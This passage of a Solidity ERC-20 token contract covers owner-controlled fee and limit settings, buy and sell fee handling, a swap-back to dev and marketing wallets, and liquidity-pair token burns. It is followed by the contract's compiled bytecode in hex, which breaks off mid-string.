function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610aa2578063f637434214610ac2578063f8b45b0514610ad8578063fe72b27a14610aee57600080fd5b8063dd62ed3e14610a1b578063e2f4560514610a61578063e884f26014610a77578063f11a24d314610a8c57600080fd5b8063c876d0b9116100dc578063c876d0b9146109b5578063c8c8ebe4146109cf578063d257b34f146109e5578063d85ba06314610a0557600080fd5b8063bbc0c74214610936578063c024666814610955578063c17b5b8c14610975578063c18bc1951461099557600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108b0578063a9059cbb146108c6578063aacebbe3146108e6578063b62496f51461090657600080fd5b80639ec22c0e1461084e5780639fccce3214610864578063a0d82dc51461087a578063a457c2d71461089057600080fd5b8063924de9b7116101c1578063924de9b7146107e357806395d89b41146108035780639a7a23d6146108185780639c3b4fdc1461083857600080fd5b80638da5cb5b1461078f5780638ea5220f146107ad57806392136913146107cd57600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a874146107245780637bce5a04146107445780638095d5641461075a5780638a8c523c1461077a57600080fd5b8063715018a6146106ba578063730c1888146106cf578063751039fc146106ef5780637571336a1461070457600080fd5b80634fbee193116102a65780634fbee193146106155780636a486a8e1461064e5780636ddd17131461066457806370a082311461068457600080fd5b8063313ce5671461059f57806339509351146105bb57806349bd5a5e146105db5780634a62bb65146105fb57600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461053957806327c8f835146105595780632c3e486c1461056f5780632e82f1a01461058557600080fd5b8063199ffc72146104d75780631a8145bb146104ed5780631f3fed8f14610503578063203e727e1461051957600080fd5b80631694505e1161038b5780631694505e1461044857806318160ddd146104805780631816467f1461049f578063184c16c5146104c157600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b0e565b6040516103df9190612d28565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612c20565b610ba0565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612b37565b60226020526000908152604090205460ff1681565b34801561045457600080fd5b50600654610468906001600160a01b031681565b6040516001600160a01b0390911681526020016103df565b34801561048c57600080fd5b506002545b6040519081526020016103df565b3480156104ab57600080fd5b506104bf6104ba366004612b37565b610bb6565b005b3480156104cd57600080fd5b5061049160115481565b3480156104e357600080fd5b50610491600d5481565b3480156104f957600080fd5b50610491601f5481565b34801561050f57600080fd5b50610491601e5481565b34801561052557600080fd5b506104bf610534366004612c67565b610c46565b34801561054557600080fd5b50610408610554366004612baa565b610d23565b34801561056557600080fd5b5061046861dead81565b34801561057b57600080fd5b50610491600f5481565b34801561059157600080fd5b50600e546104089060ff1681565b3480156105ab57600080fd5b50604051601281526020016103df565b3480156105c757600080fd5b506104086105d6366004612c20565b610dcd565b3480156105e757600080fd5b50600754610468906001600160a01b031681565b34801561060757600080fd5b506013546104089060ff1681565b34801561062157600080fd5b50610408610630366004612b37565b6001600160a01b031660009081526021602052604090205460ff1690565b34801561065a57600080fd5b50610491601a5481565b34801561067057600080fd5b506013546104089062010000900460ff1681565b34801561069057600080fd5b5061049161069f366004612b37565b6001600160a01b031660009081526020819052604090205490565b3480156106c657600080fd5b506104bf610e09565b3480156106db57600080fd5b506104bf6106ea366004612c99565b610e3f565b3480156106fb57600080fd5b50610408610f68565b34801561071057600080fd5b506104bf61071f366004612beb565b610fa5565b34801561073057600080fd5b50600854610468906001600160a01b031681565b34801561075057600080fd5b5061049160175481565b34801561076657600080fd5b506104bf610775366004612cce565b610ffa565b34801561078657600080fd5b506104bf6110a2565b34801561079b57600080fd5b506005546001600160a01b0316610468565b3480156107b957600080fd5b50600954610468906001600160a01b031681565b3480156107d957600080fd5b50610491601b5481565b3480156107ef57600080fd5b506104bf6107fe366004612c4c565b6110e3565b34801561080f57600080fd5b506103d2611129565b34801561082457600080fd5b506104bf610833366004612beb565b611138565b34801561084457600080fd5b5061049160195481565b34801561085a57600080fd5b5061049160125481565b34801561087057600080fd5b5061049160205481565b34801561088657600080fd5b50610491601d5481565b34801561089c57600080fd5b506104086108ab366004612c20565b6111f4565b3480156108bc57600080fd5b5061049160105481565b3480156108d257600080fd5b506104086108e1366004612c20565b61128d565b3480156108f257600080fd5b506104bf610901366004612b37565b61129a565b34801561091257600080fd5b50610408610921366004612b37565b60236020526000908152604090205460ff1681565b34801561094257600080fd5b5060135461040890610100900460ff1681565b34801561096157600080fd5b506104bf610970366004612beb565b611321565b34801561098157600080fd5b506104bf610990366004612cce565b6113aa565b3480156109a157600080fd5b506104bf6109b0366004612c67565b61144d565b3480156109c157600080fd5b506015546104089060ff1681565b3480156109db57600080fd5b50610491600a5481565b3480156109f157600080fd5b50610408610a00366004612c67565b61151e565b348015610a1157600080fd5b5061049160165481565b348015610a2757600080fd5b50610491610a36366004612b71565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a6d57600080fd5b50610491600b5481565b348015610a8357600080fd5b50610408611675565b348015610a9857600080fd5b5061049160185481565b348015610aae57600080fd5b506104bf610abd366004612b37565b6116b2565b348015610ace57600080fd5b50610491601c5481565b348015610ae457600080fd5b50610491600c5481565b348015610afa57600080fd5b50610408610b09366004612c67565b61174d565b606060038054610b1d90612f1b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4990612f1b565b8015610b965780601f10610b6b57610100808354040283529160200191610b96565b820191906000526020600020905b815481529060010190602001808311610b7957829003601f168201915b5050505050905090565b6000610bad338484611990565b50600192915050565b6005546001600160a01b03163314610be95760405162461bcd60e51b8152600401610be090612dc0565b60405180910390fd5b6009546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c705760405162461bcd60e51b8152600401610be090612dc0565b670de0b6b3a76400006103e8610c8560025490565b610c90906001612ee5565b610c9a9190612ec3565b610ca49190612ec3565b811015610d0b5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610be0565b610d1d81670de0b6b3a7640000612ee5565b600a5550565b6000610d30848484611ab4565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610db55760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610be0565b610dc28533858403611990565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bad918590610e04908690612eab565b611990565b6005546001600160a01b03163314610e335760405162461bcd60e51b8152600401610be090612dc0565b610e3d6000612344565b565b6005546001600160a01b03163314610e695760405162461bcd60e51b8152600401610be090612dc0565b610258831015610ed75760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610be0565b6103e88211158015610ee7575060015b610f4c5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610be0565b600f92909255600d55600e805460ff1916911515919091179055565b6005546000906001600160a01b03163314610f955760405162461bcd60e51b8152600401610be090612dc0565b506013805460ff19169055600190565b6005546001600160a01b03163314610fcf5760405162461bcd60e51b8152600401610be090612dc0565b6001600160a01b03919091166000908152602260205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110245760405162461bcd60e51b8152600401610be090612dc0565b6017839055601882905560198190558061103e8385612eab565b6110489190612eab565b60168190556014101561109d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610be0565b505050565b6005546001600160a01b031633146110cc5760405162461bcd60e51b8152600401610be090612dc0565b6013805462ffff0019166201010017905542601055565b6005546001600160a01b0316331461110d5760405162461bcd60e51b8152600401610be090612dc0565b60138054911515620100000262ff000019909216919091179055565b606060048054610b1d90612f1b565b6005546001600160a01b031633146111625760405162461bcd60e51b8152600401610be090612dc0565b6007546001600160a01b03838116911614156111e65760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610be0565b6111f08282612396565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610be0565b6112833385858403611990565b5060019392505050565b6000610bad338484611ab4565b6005546001600160a01b031633146112c45760405162461bcd60e51b8152600401610be090612dc0565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b0316331461134b5760405162461bcd60e51b8152600401610be090612dc0565b6001600160a01b038216600081815260216020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113d45760405162461bcd60e51b8152600401610be090612dc0565b601b839055601c829055601d819055806113ee8385612eab565b6113f89190612eab565b601a8190556019101561109d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610be0565b6005546001600160a01b031633146114775760405162461bcd60e51b8152600401610be090612dc0565b670de0b6b3a76400006103e861148c60025490565b611497906005612ee5565b6114a19190612ec3565b6114ab9190612ec3565b8110156115065760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610be0565b61151881670de0b6b3a7640000612ee5565b600c5550565b6005546000906001600160a01b0316331461154b5760405162461bcd60e51b8152600401610be090612dc0565b620186a061155860025490565b611563906001612ee5565b61156d9190612ec3565b8210156115da5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610be0565b6103e86115e660025490565b6115f1906005612ee5565b6115fb9190612ec3565b8211156116675760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610be0565b50600b81905560015b919050565b6005546000906001600160a01b031633146116a25760405162461bcd60e51b8152600401610be090612dc0565b506015805460ff19169055600190565b6005546001600160a01b031633146116dc5760405162461bcd60e51b8152600401610be090612dc0565b6001600160a01b0381166117415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610be0565b61174a81612344565b50565b6005546000906001600160a01b0316331461177a5760405162461bcd60e51b8152600401610be090612dc0565b60115460125461178a9190612eab565b42116117d85760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610be0565b6103e882111561183d5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610be0565b426012556007546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a082319060240160206040518083038186803b15801561188757600080fd5b505afa15801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190612c80565b905060006118d96127106118d384876123ea565b906123fd565b905080156118fa576007546118fa906001600160a01b031661dead83612409565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b15801561194457600080fd5b505af1158015611958573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b0383166119f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610be0565b6001600160a01b038216611a535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610be0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611ada5760405162461bcd60e51b8152600401610be090612df5565b6001600160a01b038216611b005760405162461bcd60e51b8152600401610be090612d7d565b80611b115761109d83836000612409565b60135460ff1615611f86576005546001600160a01b03848116911614801590611b4857506005546001600160a01b03838116911614155b8015611b5c57506001600160a01b03821615155b8015611b7357506001600160a01b03821661dead14155b8015611b895750600754600160a01b900460ff16155b15611f8657601354610100900460ff16611c21576001600160a01b03831660009081526021602052604090205460ff1680611bdc57506001600160a01b03821660009081526021602052604090205460ff165b611c215760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610be0565b60155460ff1615611d20576005546001600160a01b03838116911614801590611c5857506006546001600160a01b03838116911614155b8015611c7257506007546001600160a01b03838116911614155b15611d2057326000908152601460205260409020544311611d0d5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610be0565b3260009081526014602052604090204390555b6001600160a01b03831660009081526023602052604090205460ff168015611d6157506001600160a01b03821660009081526022602052604090205460ff16155b15611e4557600a54811115611dd65760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610be0565b600c546001600160a01b038316600090815260208190526040902054611dfc9083612eab565b1115611e405760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610be0565b611f86565b6001600160a01b03821660009081526023602052604090205460ff168015611e8657506001600160a01b03831660009081526022602052604090205460ff16155b15611efc57600a54811115611e405760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610be0565b6001600160a01b03821660009081526022602052604090205460ff16611f8657600c546001600160a01b038316600090815260208190526040902054611f429083612eab565b1115611f865760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610be0565b30600090815260208190526040902054600b5481108015908190611fb2575060135462010000900460ff165b8015611fc85750600754600160a01b900460ff16155b8015611fed57506001600160a01b03851660009081526023602052604090205460ff16155b801561201257506001600160a01b03851660009081526021602052604090205460ff16155b801561203757506001600160a01b03841660009081526021602052604090205460ff16155b15612065576007805460ff60a01b1916600160a01b17905561205761255e565b6007805460ff60a01b191690555b600754600160a01b900460ff1615801561209757506001600160a01b03841660009081526023602052604090205460ff165b80156120a55750600e5460ff165b80156120c05750600f546010546120bc9190612eab565b4210155b80156120e557506001600160a01b03851660009081526021602052604090205460ff16155b156120f4576120f2612798565b505b6007546001600160a01b03861660009081526021602052604090205460ff600160a01b90920482161591168061214257506001600160a01b03851660009081526021602052604090205460ff165b1561214b575060005b60008115612330576001600160a01b03861660009081526023602052604090205460ff16801561217d57506000601a54115b156122355761219c60646118d3601a54886123ea90919063ffffffff16565b9050601a54601c54826121af9190612ee5565b6121b99190612ec3565b601f60008282546121ca9190612eab565b9091555050601a54601d546121df9083612ee5565b6121e99190612ec3565b602060008282546121fa9190612eab565b9091555050601a54601b5461220f9083612ee5565b6122199190612ec3565b601e600082825461222a9190612eab565b909155506123129050565b6001600160a01b03871660009081526023602052604090205460ff16801561225f57506000601654115b156123125761227e60646118d3601654886123ea90919063ffffffff16565b9050601654601854826122919190612ee5565b61229b9190612ec3565b601f60008282546122ac9190612eab565b90915550506016546019546122c19083612ee5565b6122cb9190612ec3565b602060008282546122dc9190612eab565b90915550506016546017546122f19083612ee5565b6122fb9190612ec3565b601e600082825461230c9190612eab565b90915550505b801561232357612323873083612409565b61232d8186612f04565b94505b61233b878787612409565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260236020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006123f68284612ee5565b9392505050565b60006123f68284612ec3565b6001600160a01b03831661242f5760405162461bcd60e51b8152600401610be090612df5565b6001600160a01b0382166124555760405162461bcd60e51b8152600401610be090612d7d565b6001600160a01b038316600090815260208190526040902054818110156124cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610be0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612504908490612eab565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161255091815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000602054601e54601f546125859190612eab565b61258f9190612eab565b9050600082158061259e575081155b156125a857505050565b600b546125b6906014612ee5565b8311156125ce57600b546125cb906014612ee5565b92505b6000600283601f54866125e19190612ee5565b6125eb9190612ec3565b6125f59190612ec3565b9050600061260385836128f1565b90504761260f826128fd565b600061261b47836128f1565b90506000612638876118d3601e54856123ea90919063ffffffff16565b90506000612655886118d3602054866123ea90919063ffffffff16565b90506000816126648486612f04565b61266e9190612f04565b6000601f819055601e81905560208190556009546040519293506001600160a01b031691849181818185875af1925050503d80600081146126cb576040519150601f19603f3d011682016040523d82523d6000602084013e6126d0565b606091505b509098505086158015906126e45750600081115b15612737576126f38782612a66565b601f54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612784576040519150601f19603f3d011682016040523d82523d6000602084013e612789565b606091505b50505050505050505050505050565b426010556007546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a082319060240160206040518083038186803b1580156127e457600080fd5b505afa1580156127f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061281c9190612c80565b9050600061283b6127106118d3600d54856123ea90919063ffffffff16565b9050801561285c5760075461285c906001600160a01b031661dead83612409565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b1580156128a657600080fd5b505af11580156128ba573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006123f68284612f04565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061293257612932612f6c565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561298657600080fd5b505afa15801561299a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129be9190612b54565b816001815181106129d1576129d1612f6c565b6001600160a01b0392831660209182029290920101526006546129f79130911684611990565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612a30908590600090869030904290600401612e3a565b600060405180830381600087803b158015612a4a57600080fd5b505af1158015612a5e573d6000803e3d6000fd5b505050505050565b600654612a7e9030906001600160a01b031684611990565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b158015612ae757600080fd5b505af1158015612afb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612b209190612cfa565b5050505050565b8035801515811461167057600080fd5b600060208284031215612b4957600080fd5b81356123f681612f82565b600060208284031215612b6657600080fd5b81516123f681612f82565b60008060408385031215612b8457600080fd5b8235612b8f81612f82565b91506020830135612b9f81612f82565b809150509250929050565b600080600060608486031215612bbf57600080fd5b8335612bca81612f82565b92506020840135612bda81612f82565b929592945050506040919091013590565b60008060408385031215612bfe57600080fd5b8235612c0981612f82565b9150612c1760208401612b27565b90509250929050565b60008060408385031215612c3357600080fd5b8235612c3e81612f82565b946020939093013593505050565b600060208284031215612c5e57600080fd5b6123f682612b27565b600060208284031215612c7957600080fd5b5035919050565b600060208284031215612c9257600080fd5b5051919050565b600080600060608486031215612cae57600080fd5b8335925060208401359150612cc560408501612b27565b90509250925092565b600080600060608486031215612ce357600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215612d0f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015612d5557858101830151858201604001528201612d39565b81811115612d67576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726